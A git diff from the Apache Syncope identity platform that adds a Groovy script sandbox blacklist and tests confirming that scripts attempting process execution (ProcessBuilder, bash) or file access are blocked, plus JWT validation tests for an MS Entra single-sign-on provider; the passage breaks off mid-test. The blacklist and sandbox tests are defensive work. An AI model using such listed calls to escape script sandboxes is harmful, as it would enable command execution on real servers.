org.codehaus.groovy.runtime.DefaultGroovyMethods putAt java.lang.Object java.lang.String java.lang.Object +staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter asType java.lang.Object java.lang.Class +staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter castToType java.lang.Object java.lang.Class + +# SECURITY-1754 +new org.kohsuke.groovy.sandbox.impl.Checker$SuperConstructorWrapper java.lang.Object[] +new org.kohsuke.groovy.sandbox.impl.Checker$ThisConstructorWrapper java.lang.Object[] diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/SpringTestConfiguration.java b/core/spring/src/test/java/org/apache/syncope/core/spring/SpringTestConfiguration.java index 5514eb6fb40..8db7bf7fa63 100644 --- a/core/spring/src/test/java/org/apache/syncope/core/spring/SpringTestConfiguration.java +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/SpringTestConfiguration.java @@ -18,12 +18,19 @@ */ package org.apache.syncope.core.spring; -import org.apache.syncope.core.persistence.api.ImplementationLookup; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.Reader; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; import org.apache.syncope.core.spring.security.DummyImplementationLookup; +import org.jenkinsci.plugins.scriptsecurity.sandbox.blacklists.Blacklist; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.EnableAspectJAutoProxy; import org.springframework.context.annotation.Primary; +@EnableAspectJAutoProxy(proxyTargetClass = false) @Configuration(proxyBeanMethods = false) public class SpringTestConfiguration { @@ -37,4 +44,13 @@ public ApplicationContextProvider applicationContextProvider() { public ImplementationLookup implementationLookup() { return new DummyImplementationLookup(); } + + @Bean + public Blacklist groovyBlackList() throws IOException { + try (InputStream is = getClass().getResourceAsStream("/META-INF/groovy.blacklist"); + Reader reader = new InputStreamReader(is);) { + + return new Blacklist(reader); + } + } } diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/GroovySandboxTest.java b/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/GroovySandboxTest.java new file mode 100644 index 00000000000..9586d5ad90f --- /dev/null +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/GroovySandboxTest.java @@ -0,0 +1,69 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.spring.implementation; + +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +import org.apache.cxf.helpers.IOUtils; +import org.apache.syncope.common.lib.types.ImplementationEngine; +import org.apache.syncope.core.persistence.api.entity.Implementation; +import org.apache.syncope.core.provisioning.api.macro.MacroActions; +import org.apache.syncope.core.spring.SpringTestConfiguration; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledOnOs; +import org.junit.jupiter.api.condition.OS; +import org.springframework.test.context.junit.jupiter.SpringJUnitConfig; + +@SpringJUnitConfig(classes = { SpringTestConfiguration.class }) +class GroovySandboxTest { + + @Test + void processBuilder() throws Exception { + Implementation impl = mock(Implementation.class); + when(impl.getKey()).thenReturn("processBuilder"); + when(impl.getEngine()).thenReturn(ImplementationEngine.GROOVY); + when(impl.getBody()).thenReturn(IOUtils.toString( + getClass().getResourceAsStream("/ProcessBuilderMacroActions.groovy"))); + + MacroActions actions = ImplementationManager.build(impl); + + SecurityException e = assertThrows( + SecurityException.class, () -> actions.afterAll(new StringBuilder())); + assertTrue(e.getMessage().contains("Insecure call to 'new java.lang.ProcessBuilder java.lang.String[]'")); + } + + @EnabledOnOs(OS.LINUX) + @Test + void bash() throws Exception { + Implementation impl = mock(Implementation.class); + when(impl.getKey()).thenReturn("bash"); + when(impl.getEngine()).thenReturn(ImplementationEngine.GROOVY); + when(impl.getBody()).thenReturn(IOUtils.toString( + getClass().getResourceAsStream("/BashMacroActions.groovy"))); + + MacroActions actions = ImplementationManager.build(impl); + + SecurityException e = assertThrows( + SecurityException.class, () -> actions.afterAll(new StringBuilder())); + assertTrue(e.getMessage().contains("Insecure call to 'new java.io.File java.lang.String'")); + } +} diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/ImplementationManagerTest.java b/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/PasswordRuleTest.java similarity index 98% rename from core/spring/src/test/java/org/apache/syncope/core/spring/implementation/ImplementationManagerTest.java rename to core/spring/src/test/java/org/apache/syncope/core/spring/implementation/PasswordRuleTest.java index d6b4d21944f..d7edb9723da 100644 --- a/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/ImplementationManagerTest.java +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/implementation/PasswordRuleTest.java @@ -36,7 +36,7 @@ import org.springframework.test.context.junit.jupiter.SpringJUnitConfig; @SpringJUnitConfig(classes = { SpringTestConfiguration.class }) -public class ImplementationManagerTest { +public class PasswordRuleTest { public static DefaultPasswordRuleConf createBaseDefaultPasswordRuleConf() { DefaultPasswordRuleConf baseDefaultPasswordRuleConf = new DefaultPasswordRuleConf(); diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/security/DummyImplementationLookup.java b/core/spring/src/test/java/org/apache/syncope/core/spring/security/DummyImplementationLookup.java index 019430e81ec..ae67678cc0e 100644 --- a/core/spring/src/test/java/org/apache/syncope/core/spring/security/DummyImplementationLookup.java +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/security/DummyImplementationLookup.java @@ -23,13 +23,13 @@ import org.apache.syncope.common.lib.policy.PasswordRuleConf; import org.apache.syncope.common.lib.policy.PullCorrelationRuleConf; import org.apache.syncope.common.lib.policy.PushCorrelationRuleConf; -import org.apache.syncope.common.lib.report.ReportletConf; -import org.apache.syncope.core.persistence.api.ImplementationLookup; -import org.apache.syncope.core.persistence.api.dao.AccountRule; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.Reportlet; +import org.apache.syncope.common.lib.report.ReportConf; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; +import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; +import org.apache.syncope.core.provisioning.api.rules.AccountRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; public class DummyImplementationLookup implements ImplementationLookup { @@ -44,14 +44,7 @@ public Set getClassNames(final String type) { } @Override - public Set> getJWTSSOProviderClasses() { - return Set.of(); - } - - @Override - public Class getReportletClass( - final Class reportletConfClass) { - + public Class getReportClass(final Class reportConfClass) { return null; } diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/security/EncryptorTest.java b/core/spring/src/test/java/org/apache/syncope/core/spring/security/EncryptorTest.java index 8f4cf5b75a0..eed813e89fb 100644 --- a/core/spring/src/test/java/org/apache/syncope/core/spring/security/EncryptorTest.java +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/security/EncryptorTest.java @@ -36,7 +36,9 @@ public class EncryptorTest { @BeforeAll public static void setUp() { - ApplicationContextProvider.getBeanFactory().registerSingleton("securityProperties", new SecurityProperties()); + SecurityProperties props = new SecurityProperties(); + props.setAesSecretKey("1abcdefghilmnopq"); + ApplicationContextProvider.getBeanFactory().registerSingleton("securityProperties", props); ENCRYPTOR = Encryptor.getInstance(); } diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/security/MSEntraJWTSSOProviderTest.java b/core/spring/src/test/java/org/apache/syncope/core/spring/security/MSEntraJWTSSOProviderTest.java new file mode 100644 index 00000000000..c44264a833a --- /dev/null +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/security/MSEntraJWTSSOProviderTest.java @@ -0,0 +1,312 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.spring.security; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +import com.nimbusds.jwt.JWTClaimsSet; +import java.time.Duration; +import java.time.Instant; +import java.time.OffsetDateTime; +import java.time.ZoneOffset; +import java.time.temporal.ChronoUnit; +import java.util.Date; +import java.util.Set; +import org.apache.commons.lang3.tuple.Pair; +import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.persistence.api.entity.user.User; +import org.apache.syncope.core.spring.security.jws.MSEntraAccessTokenJWSVerifier; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.mockito.Mock; +import org.mockito.junit.jupiter.MockitoExtension; + +@ExtendWith(MockitoExtension.class) +public class MSEntraJWTSSOProviderTest { + + private static final String TENANT_ID = "test-tenant-id"; + + private static final String APP_ID = "test-app-id"; + + private static final String AUTH_USERNAME = "auth-username"; + + private static final MSEntraAccessTokenJWSVerifier VERIFIER = new MSEntraAccessTokenJWSVerifier( + TENANT_ID, APP_ID, Duration.ofHours(24)); + + @Mock + private User user; + + @Mock + private UserDAO userDAO; + + @Mock + private AuthDataAccessor authDataAccessor; + + @Test + void getIssuer() { + MSEntraJWTSSOProvider provider = new MSEntraJWTSSOProvider( + userDAO, authDataAccessor, TENANT_ID, APP_ID, AUTH_USERNAME, Duration.ofMinutes(5), VERIFIER); + + assertEquals(provider.getIssuer(), "https://sts.windows.net/" + TENANT_ID + "/"); + } + + @Test + void resolveSuccess() { + MSEntraJWTSSOProvider provider = new MSEntraJWTSSOProvider( + userDAO, authDataAccessor, TENANT_ID, APP_ID, AUTH_USERNAME, Duration.ofMinutes(5), VERIFIER); + + when(userDAO.findByUsername(anyString())).thenReturn(user); + when(authDataAccessor.getAuthorities(AUTH_USERNAME, null)). + thenReturn(Set.of(mock(SyncopeGrantedAuthority.class))); + when(user.getUsername()).thenReturn(AUTH_USERNAME); + + Instant now = OffsetDateTime.now(ZoneOffset.UTC).toInstant(); + Instant issued = now.minus(65, ChronoUnit.SECONDS); + Instant notBefore = now.minus(5, ChronoUnit.SECONDS); + Instant expiration = now.plus(1, ChronoUnit.HOURS); + + JWTClaimsSet payload = new JWTClaimsSet.Builder() + .issuer(TENANT_ID) + .audience(APP_ID) + .issueTime(Date.from(issued)) + .notBeforeTime(Date.from(notBefore)) + .expirationTime(Date.from(expiration)) + .build(); + + Pair> resolved = provider.resolve(payload); + assertEquals(AUTH_USERNAME, resolved.getKey().getUsername()); + assertEquals(1, resolved.getValue().size()); + } + + @Test + void resolveMissingClaims() { + MSEntraJWTSSOProvider provider = new MSEntraJWTSSOProvider( + userDAO, authDataAccessor, TENANT_ID, APP_ID, AUTH_USERNAME, Duration.ofMinutes(5), VERIFIER); + + when(userDAO.findByUsername(anyString())).thenReturn(user); + + JWTClaimsSet payload = new JWTClaimsSet.Builder() + .issuer(TENANT_ID) + .audience(APP_ID) + .build(); + + assertThrows(Exception.class, () -> provider.resolve(payload)); + } + + @Test + void resolveAuthUserNull() { + MSEntraJWTSSOProvider provider = new MSEntraJWTSSOProvider( + userDAO, authDataAccessor, TENANT_ID, APP_ID, AUTH_USERNAME, Duration.ofMinutes(5), VERIFIER); + + when(userDAO.findByUsername(anyString())).thenReturn(null); + + Instant now = OffsetDateTime.now(ZoneOffset.UTC).toInstant(); + Instant issued = now.minus(1, ChronoUnit.MINUTES); + Instant notBefore = now.minus(1, ChronoUnit.SECONDS); + Instant expiration = now.plus(59, ChronoUnit.MINUTES); + + JWTClaimsSet payload = new JWTClaimsSet.Builder() + .issuer(TENANT_ID) + .audience(APP_ID) + .issueTime(Date.from(issued)) + .notBeforeTime(Date.from(notBefore)) + .expirationTime(Date.from(expiration)) + .build(); + + Pair> resolved = provider.resolve(payload); + assertNull(resolved.getKey()); + assertTrue(resolved.getValue().isEmpty()); + } + + @Test + void resolveWrongAudience() { + MSEntraJWTSSOProvider provider = new MSEntraJWTSSOProvider( + userDAO, authDataAccessor, TENANT_ID, APP_ID, AUTH_USERNAME, Duration.ofMinutes(5), VERIFIER); + + when(userDAO.findByUsername(anyString())).thenReturn(user); + + Instant now = OffsetDateTime.now(ZoneOffset.UTC).toInstant(); + Instant issued = now.minus(1, ChronoUnit.MINUTES); + Instant notBefore = now.minus(1, ChronoUnit.SECONDS); + Instant expiration = now.plus(59, ChronoUnit.MINUTES); + + JWTClaimsSet payload = new JWTClaimsSet.Builder() + .issuer(TENANT_ID) + .audience("wrong-audience-claim") + .issueTime(Date.from(issued)) + .notBeforeTime(Date.from(notBefore)) + .expirationTime(Date.from(expiration)) + .build(); + + assertTrue(provider.resolve(payload).getValue().isEmpty()); + } + + @Test + void resolveIssuedFail() { + MSEntraJWTSSOProvider provider = new MSEntraJWTSSOProvider( + userDAO, authDataAccessor, TENANT_ID, APP_ID, AUTH_USERNAME, Duration.ofMinutes(5), VERIFIER); + + when(userDAO.findByUsername(anyString())).thenReturn(user); + + Instant now = OffsetDateTime.now(ZoneOffset.UTC).toInstant(); + Instant issued = now.plus(6, ChronoUnit.MINUTES); + Instant notBefore = now.minus(5, ChronoUnit.SECONDS); + Instant expiration = now.plus(1, ChronoUnit.HOURS); + + JWTClaimsSet payload = new JWTClaimsSet.Builder() + .issuer(TENANT_ID) + .audience(APP_ID) + .issueTime(Date.from(issued)) + .notBeforeTime(Date.from(notBefore)) + .expirationTime(Date.from(expiration)) + .build(); + + assertTrue(provider.resolve(payload).getValue().isEmpty()); + } + + @Test + void resolveIssuedInClockSkew() { + MSEntraJWTSSOProvider provider = new MSEntraJWTSSOProvider( + userDAO, authDataAccessor, TENANT_ID, APP_ID, AUTH_USERNAME, Duration.ofMinutes(5), VERIFIER); + + when(userDAO.findByUsername(anyString())).thenReturn(user); + when(authDataAccessor.getAuthorities(AUTH_USERNAME, null)). + thenReturn(Set.of(mock(SyncopeGrantedAuthority.class))); + when(user.getUsername()).thenReturn(AUTH_USERNAME); + + Instant now = OffsetDateTime.now(ZoneOffset.UTC).toInstant(); + Instant issued = now.plus(4, ChronoUnit.MINUTES); + Instant notBefore = now.minus(5, ChronoUnit.SECONDS); + Instant expiration = now.plus(1, ChronoUnit.HOURS); + + JWTClaimsSet payload = new JWTClaimsSet.Builder() + .issuer(TENANT_ID) + .audience(APP_ID) + .issueTime(Date.from(issued)) + .notBeforeTime(Date.from(notBefore)) + .expirationTime(Date.from(expiration)) + .build(); + + assertEquals(1, provider.resolve(payload).getValue().size()); + } + + @Test + void resolveNotBeforeFail() { + MSEntraJWTSSOProvider provider = new MSEntraJWTSSOProvider( + userDAO, authDataAccessor, TENANT_ID, APP_ID, AUTH_USERNAME, Duration.ofMinutes(5), VERIFIER); + + when(userDAO.findByUsername(anyString())).thenReturn(user); + + Instant now = OffsetDateTime.now(ZoneOffset.UTC).toInstant(); + Instant issued = now.minus(1, ChronoUnit.MINUTES); + Instant notBefore = now.plus(6, ChronoUnit.MINUTES); + Instant expiration = now.plus(1, ChronoUnit.HOURS); + + JWTClaimsSet payload = new JWTClaimsSet.Builder() + .issuer(TENANT_ID) + .audience(APP_ID) + .issueTime(Date.from(issued)) + .notBeforeTime(Date.from(notBefore)) + .expirationTime(Date.from(expiration)) + .build(); + + assertTrue(provider.resolve(payload).getValue().isEmpty()); + } + + @Test + void resolveNotBeforeInClockSkew() { + MSEntraJWTSSOProvider provider = new MSEntraJWTSSOProvider( + userDAO, authDataAccessor, TENANT_ID, APP_ID, AUTH_USERNAME, Duration.ofMinutes(5), VERIFIER); + + when(userDAO.findByUsername(anyString())).thenReturn(user); + when(authDataAccessor.getAuthorities(AUTH_USERNAME, null)). + thenReturn(Set.of(mock(SyncopeGrantedAuthority.class))); + when(user.getUsername()).thenReturn(AUTH_USERNAME); + + Instant now = OffsetDateTime.now(ZoneOffset.UTC).toInstant(); + Instant issued = now.minus(1, ChronoUnit.MINUTES); + Instant notBefore = now.plus(4, ChronoUnit.MINUTES); + Instant expiration = now.plus(1, ChronoUnit.HOURS); + + JWTClaimsSet payload = new JWTClaimsSet.Builder() + .issuer(TENANT_ID) + .audience(APP_ID) + .issueTime(Date.from(issued)) + .notBeforeTime(Date.from(notBefore)) + .expirationTime(Date.from(expiration)) + .build(); + + assertEquals(1, provider.resolve(payload).getValue().size()); + } + + @Test + void resolveExpirationFail() { + MSEntraJWTSSOProvider provider = new MSEntraJWTSSOProvider( + userDAO, authDataAccessor, TENANT_ID, APP_ID, AUTH_USERNAME, Duration.ofMinutes(5), VERIFIER); + + when(userDAO.findByUsername(anyString())).thenReturn(user); + + Instant now = OffsetDateTime.now(ZoneOffset.UTC).toInstant(); + Instant issued = now.minus(1, ChronoUnit.HOURS); + Instant notBefore = now.minus(1, ChronoUnit.HOURS); + Instant expiration = now.minus(6, ChronoUnit.MINUTES); + + JWTClaimsSet payload = new JWTClaimsSet.Builder() + .issuer(TENANT_ID) + .audience(APP_ID) + .issueTime(Date.from(issued)) + .notBeforeTime(Date.from(notBefore)) + .expirationTime(Date.from(expiration)) + .build(); + + assertTrue(provider.resolve(payload).getValue().isEmpty()); + } + + @Test + void resolveExpirationInClockSkew() { + MSEntraJWTSSOProvider provider = new MSEntraJWTSSOProvider( + userDAO, authDataAccessor, TENANT_ID, APP_ID, AUTH_USERNAME, Duration.ofMinutes(5), VERIFIER); + + when(userDAO.findByUsername(anyString())).thenReturn(user); + when(authDataAccessor.getAuthorities(AUTH_USERNAME, null)). + thenReturn(Set.of(mock(SyncopeGrantedAuthority.class))); + when(user.getUsername()).thenReturn(AUTH_USERNAME); + + Instant now = OffsetDateTime.now(ZoneOffset.UTC).toInstant(); + Instant issued = now.minus(1, ChronoUnit.HOURS); + Instant notBefore = now.minus(1, ChronoUnit.HOURS); + Instant expiration = now.minus(4, ChronoUnit.MINUTES); + + JWTClaimsSet payload = new JWTClaimsSet.Builder() + .issuer(TENANT_ID) + .audience(APP_ID) + .issueTime(Date.from(issued)) + .notBeforeTime(Date.from(notBefore)) + .expirationTime(Date.from(expiration)) + .build(); + + assertEquals(1, provider.resolve(payload).getValue().size()); + } +} diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/security/PasswordGeneratorTest.java b/core/spring/src/test/java/org/apache/syncope/core/spring/security/PasswordGeneratorTest.java index 576b5a3686b..50ea8be8284 100644 --- a/core/spring/src/test/java/org/apache/syncope/core/spring/security/PasswordGeneratorTest.java +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/security/PasswordGeneratorTest.java @@ -25,7 +25,7 @@ import org.apache.syncope.common.lib.policy.DefaultPasswordRuleConf; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; import org.apache.syncope.core.spring.SpringTestConfiguration; -import org.apache.syncope.core.spring.implementation.ImplementationManagerTest; +import org.apache.syncope.core.spring.implementation.PasswordRuleTest; import org.junit.jupiter.api.Test; import org.springframework.test.context.junit.jupiter.SpringJUnitConfig; @@ -36,7 +36,7 @@ public class PasswordGeneratorTest { @Test public void digit() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setDigit(1); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf)); @@ -48,7 +48,7 @@ public void digit() { @Test public void alphabetical() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setAlphabetical(1); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf)); @@ -60,7 +60,7 @@ public void alphabetical() { @Test public void lowercase() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setLowercase(1); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf)); @@ -72,7 +72,7 @@ public void lowercase() { @Test public void uppercase() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setUppercase(1); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf)); @@ -84,7 +84,7 @@ public void uppercase() { @Test public void special() { - DefaultPasswordRuleConf pwdRuleConf = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf.setSpecial(1); pwdRuleConf.getSpecialChars().add('@'); pwdRuleConf.getSpecialChars().add('!'); @@ -102,7 +102,7 @@ public void issueSYNCOPE678() { String password = passwordGenerator.generate(List.of()); assertNotNull(password); - DefaultPasswordRuleConf pwdRuleConf1 = ImplementationManagerTest.createBaseDefaultPasswordRuleConf(); + DefaultPasswordRuleConf pwdRuleConf1 = PasswordRuleTest.createBaseDefaultPasswordRuleConf(); pwdRuleConf1.setMinLength(0); TestImplementation passwordRule = new TestImplementation(); passwordRule.setBody(POJOHelper.serialize(pwdRuleConf1)); diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/security/TestPasswordRule.java b/core/spring/src/test/java/org/apache/syncope/core/spring/security/TestPasswordRule.java index 8ff752875ee..bbc33d1f4f4 100644 --- a/core/spring/src/test/java/org/apache/syncope/core/spring/security/TestPasswordRule.java +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/security/TestPasswordRule.java @@ -20,10 +20,10 @@ import org.apache.syncope.common.lib.policy.DefaultPasswordRuleConf; import org.apache.syncope.common.lib.policy.PasswordRuleConf; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; -import org.apache.syncope.core.persistence.api.dao.PasswordRuleConfClass; import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount; import org.apache.syncope.core.persistence.api.entity.user.User; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRuleConfClass; @PasswordRuleConfClass(DefaultPasswordRuleConf.class) public class TestPasswordRule implements PasswordRule { @@ -46,7 +46,12 @@ public void setConf(final PasswordRuleConf conf) { } @Override - public void enforce(final User user) { + public void enforce(final String username, final String clearPassword) { + // nothing to do + } + + @Override + public void enforce(final User user, final String clearPassword) { // nothing to do } diff --git a/core/spring/src/test/java/org/apache/syncope/core/spring/security/jws/MSEntraAccessTokenJWSVerifierTest.java b/core/spring/src/test/java/org/apache/syncope/core/spring/security/jws/MSEntraAccessTokenJWSVerifierTest.java new file mode 100644 index 00000000000..eaa80bcb675 --- /dev/null +++ b/core/spring/src/test/java/org/apache/syncope/core/spring/security/jws/MSEntraAccessTokenJWSVerifierTest.java @@ -0,0 +1,329 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.spring.security.jws; + +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.doAnswer; +import static org.mockito.Mockito.spy; + +import com.nimbusds.jose.JOSEException; +import com.nimbusds.jose.JOSEObjectType; +import com.nimbusds.jose.JWSAlgorithm; +import com.nimbusds.jose.JWSHeader; +import com.nimbusds.jose.JWSSigner; +import com.nimbusds.jose.JWSVerifier; +import com.nimbusds.jose.crypto.ECDSASigner; +import com.nimbusds.jose.crypto.RSASSASigner; +import com.nimbusds.jose.jwk.Curve; +import com.nimbusds.jose.jwk.ECKey; +import com.nimbusds.jose.jwk.JWK; +import com.nimbusds.jose.jwk.KeyUse; +import com.nimbusds.jose.jwk.RSAKey; +import com.nimbusds.jose.util.Base64URL; +import com.nimbusds.jwt.JWTClaimsSet; +import com.nimbusds.jwt.SignedJWT; +import java.security.InvalidAlgorithmParameterException; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.NoSuchAlgorithmException; +import java.security.interfaces.ECPrivateKey; +import java.security.interfaces.ECPublicKey; +import java.security.interfaces.RSAPrivateKey; +import java.security.interfaces.RSAPublicKey; +import java.time.Duration; +import java.util.Date; +import java.util.Map; +import java.util.Set; +import java.util.UUID; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.mockito.junit.jupiter.MockitoExtension; + +@ExtendWith(MockitoExtension.class) +public class MSEntraAccessTokenJWSVerifierTest { + + private static class SpyableMSEntraAccessTokenJWSVerifier extends MSEntraAccessTokenJWSVerifier { + + SpyableMSEntraAccessTokenJWSVerifier() { + super(null, null, Duration.ofHours(24)); + } + } + + private static final String TENANT_ID = "test-tenant-id"; + + private static final String APP_ID = "test-app-id"; + + private static String createSignedJWT(final JWK jwk) throws JOSEException { + // Create JWT header + JWSHeader header = new JWSHeader.Builder((JWSAlgorithm) jwk.getAlgorithm()) + .type(JOSEObjectType.JWT) + .keyID(jwk.getKeyID()) + .build(); + + // Create JWT payload + JWTClaimsSet payload = new JWTClaimsSet.Builder() + .issuer(TENANT_ID) + .audience(APP_ID) + .build(); + + // Create signed JWT + SignedJWT signedJWT = new SignedJWT(header, payload); + + JWSSigner signer = jwk.getAlgorithm() == JWSAlgorithm.RS256 + ? new RSASSASigner(jwk.toRSAKey()) + : new ECDSASigner(jwk.toECKey()); + + signedJWT.sign(signer); + return signedJWT.serialize(); + } + + private static MSEntraAccessTokenJWSVerifier getSpyInstance( + final String jwksUri, final String oidc, final String jwks) { + + MSEntraAccessTokenJWSVerifier v = spy(SpyableMSEntraAccessTokenJWSVerifier.class); + doAnswer(m -> m.getArgument(0).equals(jwksUri) ? jwks : oidc).when(v).fetchDocument(anyString()); + return v; + } + + private static JWK generateJWKRSA() throws NoSuchAlgorithmException { + KeyPairGenerator gen = KeyPairGenerator.getInstance("RSA"); + gen.initialize(2048); + KeyPair keyPair = gen.generateKeyPair(); + + // Convert to JWK format + return new RSAKey.Builder((RSAPublicKey) keyPair.getPublic()) + .privateKey((RSAPrivateKey) keyPair.getPrivate()) + .keyUse(KeyUse.SIGNATURE) + .algorithm(JWSAlgorithm.RS256) + .keyID(UUID.randomUUID().toString()) + .issueTime(new Date()) + .build(); + } + + private static JWK generateJWKEC() throws NoSuchAlgorithmException, InvalidAlgorithmParameterException { + // Generate EC key pair with P-256 curve + KeyPairGenerator gen = KeyPairGenerator.getInstance("EC"); + gen.initialize(Curve.P_256.toECParameterSpec()); + KeyPair keyPair = gen.generateKeyPair(); + + // Convert to JWK format + return new ECKey.Builder(Curve.P_256, (ECPublicKey) keyPair.getPublic()) + .privateKey((ECPrivateKey) keyPair.getPrivate()) + .algorithm(JWSAlgorithm.ES256) + .keyUse(KeyUse.SIGNATURE) + .keyID(UUID.randomUUID().toString()) + .issueTime(new Date()) + .build(); + } + + @Test + void getOpenIDMetadataDocumentUrl() { + // Tenant id and app id + MSEntraAccessTokenJWSVerifier v1 = new MSEntraAccessTokenJWSVerifier(TENANT_ID, APP_ID, Duration.ofHours(24)); + assertEquals(String.format( + "https://login.microsoftonline.com/%s/.well-known/openid-configuration?appid=%s", TENANT_ID, APP_ID), + v1.getOpenIDMetadataDocumentUrl()); + + // Tenant id, no app id + MSEntraAccessTokenJWSVerifier v2 = new MSEntraAccessTokenJWSVerifier(TENANT_ID, null, Duration.ofHours(24)); + assertEquals( + String.format("https://login.microsoftonline.com/%s/.well-known/openid-configuration", TENANT_ID), + v2.getOpenIDMetadataDocumentUrl()); + + // No tenant id, no app id + MSEntraAccessTokenJWSVerifier v3 = new MSEntraAccessTokenJWSVerifier(null, null, Duration.ofHours(24)); + assertEquals( + "https://login.microsoftonline.com/common/.well-known/openid-configuration", + 